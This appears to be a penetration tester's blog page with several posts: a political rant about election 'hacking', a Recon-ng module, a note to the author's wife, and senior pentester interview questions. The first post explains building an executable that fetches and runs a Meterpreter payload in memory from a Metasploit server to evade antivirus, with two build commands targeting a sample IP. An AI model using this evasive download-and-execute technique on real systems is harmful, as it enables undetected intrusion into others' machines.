06 Jan 2017
Metasploit has two excellent modules designed to upgrade a simple shell to Meterpreter using a call to a Web server or SMB server. The first module is exploit/multi/script/web_delivery and the other is exploit/windows/smb/smb_delivery. Using these modules you can execute a simple Powershell, PHP, Python or Rundll command to upgrade your existing shell to meterpereter.
What happens if you don’t have a shell though and all you can do is run an executable. You could create a meterpreter or shell payload and attempt to upload and run those executables but it is very likely that AV will catch them once they are written to disk. Instead, what if we could create a very simple executable that only makes the necessary call to web_delivery or smb_delivery and then loads meterpreter in memory? This executable will likely not be caught by AV.
The stealth.go script does exactly this. It takes a few parameters, the type of payload you want, the Metasploit server and port, and a folder name and creates a small Golang executable that makes the appropriate call to Metasploit.
To use the script you will need a recent version of Golang installed on each OS for which you plan to build an executable. After installing Golang do the following:
Configure the Metasploit web_delivery or smb_delivery module as needed. Note that for the web_delivery module you need to set the URIPATH parameter and on the smb_delivery module you need to set the SHARE parameter and leave the FOLDER_NAME parameter unset.
Run the stealth.go module to build a binary called shell (*nix) or shell.exe (Windows).
go run stealth.go ps 10.10.10.1 8080 test
This will build an executable that will make a Powershell call to download and execute code from http://10.10.10.1:8080/test.
go run stealth.go smb 10.10.10.1 445 test
This will build an executable that will make a rundll32 call to \10.10.10.1\test and execute the delivered payload.
- Run shell or shell.exe and check your Metasploit server for a new Meterpreter session.
The stealth.go code can be found in my scripts repository on (Github)[https://github.com/averagesecurityguy/scripts].
09 Dec 2016
I can’t take it anymore. I am so tired of hearing all this crap about Russia hacking the elections. It’s complete bullshit. We hacked our own elections long before Russia tried to get involved.
- We gerrymander districts every election cycle to get the votes we want.
- The mainstream media is more concerned about the candidates hair and hands than their ability to hold office.
- Our politicians are constantly cutting backroom deals and holding secret meetings. Whatever happens in secret will eventually come out. If journalists did their jobs then we would have all the facts about both candidates not just the facts about one candidate. Think long and hard about the fact that it took another nation-state to bring to light what our politicians are doing in the dark. Just because they only shed light on one candidate doesn’t mean they hacked the election. Now that Donald Trump has won the election, the journalists are finally starting to dig into his backroom deals, shady business practices, and legal issues.
- We willfully choose to vote for the lesser of two evils without considering the potential ramifications and we purposely ignore third party candidates because they are not “viable.” How many times did we hear a vote for a third-party is a vote for “the other evil?”
- We have purposely installed electronic voting machines (with well-documented security issues) that do not leave an auditable paper trail. By the way these voting machines are created by companies with heavy lobbying arms and are installed by the current two-party system that has a vested interest in staying in power.
- As a nation we have become apathetic about voting. I know I have. Half the voting population didn’t even bother to vote in the Presidential race. If all of those voters had turned out for a third-party candidate instead of sitting on their butts we might actually see some real change.
- We have lost our ability to think critically. We listen to charismatic sound bites and rally behind our candidate without ever thinking about the implications of those sound bites. Then when a politician is elected and back peddles on their sound bite promises, we let them get away with it. I want to see Trump build a wall on the Mexican border so I can see the collosal failure it will be. If Hillary had won, I would want her to fully implement socialized medicine so that we could see the collosal failure it would be.
All of this to say, if our elections were hacked, it’s our own damn fault.
21 Oct 2016
The other day I asked on Twitter, what tools Blue Teams or Red Teams wished they had. I’ll admit, it was selfish on my part because I really want to be able to build and sell a usable product. Anyway, @ethicalhack3r said he wanted a way to search for Google Dorks and get them into Burp to find interesting content. So I decided I’d take up the challenge.
Sometimes, I like to reinvent the wheel because I feel like I can make a better wheel but I knew Recon-ng already had Google Dork searches built in and had a method for dealing with Google’s CAPTCHAs. And, as much as I’d like to think I could make a better wheel than Recon-ng, I know I can’t. So I figured the next best thing would be to build a report module that could take the URLs found using Google Dorks and send them to Burp, so that’s exactly what I did.
When the recon/domains-vulnerabilities/ghdb module is run it uses a large number of Google Dorks from the Google Hacking Database to search a site for interesting content. When it finds matching URLs they are placed in the vulnerbilities database with the category ‘Google Dorks’. Recon-ng can run direct queries on the database so I was able to search for all of the URLs where the category matched ‘Google Dorks’. Once that was done, I used the request method to get each URL. The trick to getting these URLs into Burp is to set the global PROXY value before running the report and then unset it after running the report.
To use the new reporting module:
- Run the recon/domains-vulnerabilities/ghdb module and gather the dorks you want.
Set the global proxy:
- Use the
back command to leave the module context and enter the global context.
- Use the
set PROXY http://<your_proxy_here> command to set the global proxy
- Enter the proxifier reporting module using the command
- By default the module will find the vulnerability URLs with a category of ‘Google Dorks’ but any query that yields a list of URLs can be used. If you would like to use a different query that yields URLs then you can use the
set SOURCE query command.
- Run the module with the
Unset the global proxy:
- Use the
back command to leave the reporting module.
- Use the
unset PROXY command to unset the global proxy.
Thanks to @ethicalhack3r for the idea and to @LaNMast3r for recon-ng and help writing the module.
18 Oct 2016
This is not my typical post but it’s something that needs to be said.
It is not an exaggeration to say that I wouldn’t be the man I am today if it were not for my wife. For 16 years my wife has patiently and lovingly knocked off my rough edges. Sometimes, all it took was a gentle elbow to the ribs and other times it took a constant knock to the backside of my head (sometimes literally.) When she met me, I was a lonesome and lonely person who didn’t like people. I was generally to busy to be bothered by others, was impatient with other people’s mistakes, and was constantly putting my foot in my mouth. Over the years, she has helped me to become much kinder, more patient, and gentler with my words. I still don’t like people, but there are a number of persons I like because she has pushed me to make friends and to be sympathetic to others.
Why am I telling you all this? Because I love my wife and I want everyone to know it, especially her. My blog and Twitter are the largest public platform I have so I’m going to use them to shout, “GAIL, I LOVE YOU MORE THAN YOU KNOW.” I don’t deserve a wife who is so patient, loving, faithful, and kind but that is what I have and she truly is a blessing from the Lord. I can honestly say that I know what Love is because of her.
I love you Gail and I hope that I can always be the man you believe I am.
02 Oct 2016
I am currently a Senior Penetration Tester for AppSec Consulting and I was recently asked to conduct initial phone interviews for a new Senior Penetration Tester position we are trying to fill. It’s been a while since I’ve done interviews so I wasn’t thrilled about it but I took some time to think through a few interview questions and began the process. The more I thought about the interview process the more I thought it would be helpful to share the questions I ask and the answers I would expect to receive from a Senior Penetration Tester.
Do you have any publicly available resources that I can review to better understand your skill set?
I want you to say yes and then provide me with a list of those resources. Got a blog, Twitter/Github/Bugcrowd/Hacker1 account, any CVEs? I’m looking for anything that will show me that you are passionate about Information Security and giving back to the community. If you don’t have any bugs under your belt, I’m not really worried about that. I want to see that you are doing some type of research, tool writing, teaching, etc.
Why am I looking for this? Often on a penetration test it is necessary to take a working proof-of-concept and turn it into a useful tool/exploit. In addition, it will often be necessary to supervise Junior testers and guide them down the path they need to take, blogs are a good way for me to determine if you have the communication skills necessary to do this.
Give me an overview of how you would conduct a blackbox external network test or a greybox web application assessment.
I want to hear a detailed list of steps you would take to perform these tests. I don’t care if you pause, say umm, whatever but I don’t want to hear, I guess I would do this or that. If you do not know your test plan off the top of your head or can not articulate it to me then you are not ready to be a Senior Penetration Tester. I realize that every test is different and that some steps will change depending on what you run into but there are certain actions you will always perform and you should be able to express those clearly.
If you are looking at these questions and wondering where all the technical questions are, there are none. I don’t care if you have all of the Nmap flags memorized or know all of the Metasploit modules by heart. What I need to know is if you can size up the situation you are in an make a plan of attack. Reading your blog, looking at your code, or reviewing bugs you have researched will tell me all I need to know on that front.
As I write this post, I realize that the primary difference between a Junior Penetration Tester and a Senior Penetration Tester can be boiled down to autonomy and ownership. For example in my role as a Senior Penetration Tester, I’m typically given a Scope of Work and the client Points of Contact. It is my job to contact the client and verify the scope, make sure they understand the testing I’m doing, and make sure that testing is what they expect. There are times when the Scope of Work and the client expectations don’t match or times when expectations will need to be adjusted mid project. I am responsible for helping the client understand why their expectations need to be adjusted and what their expectations should be.
In addition, when I submit a report, I’m expected to take ownership of that report, I am essentially saying, I performed this test to the best of my abilities and I stand behind the findings, or lack of findings. When a client pushes back on the severity of a finding or asks for justification for my finding, I have to be ready with an answer and I have own that answer.
Am I saying that technical prowess doesn’t play a role in whether a candidate is a Junior or a Senior, absolutely not but technical prowess comes with time and exposure to various networks and systems. I am saying that no matter how much technical prowess you have, if you can not be autonomous and take ownership of your work, you can not be a Senior Penetration Tester in my book.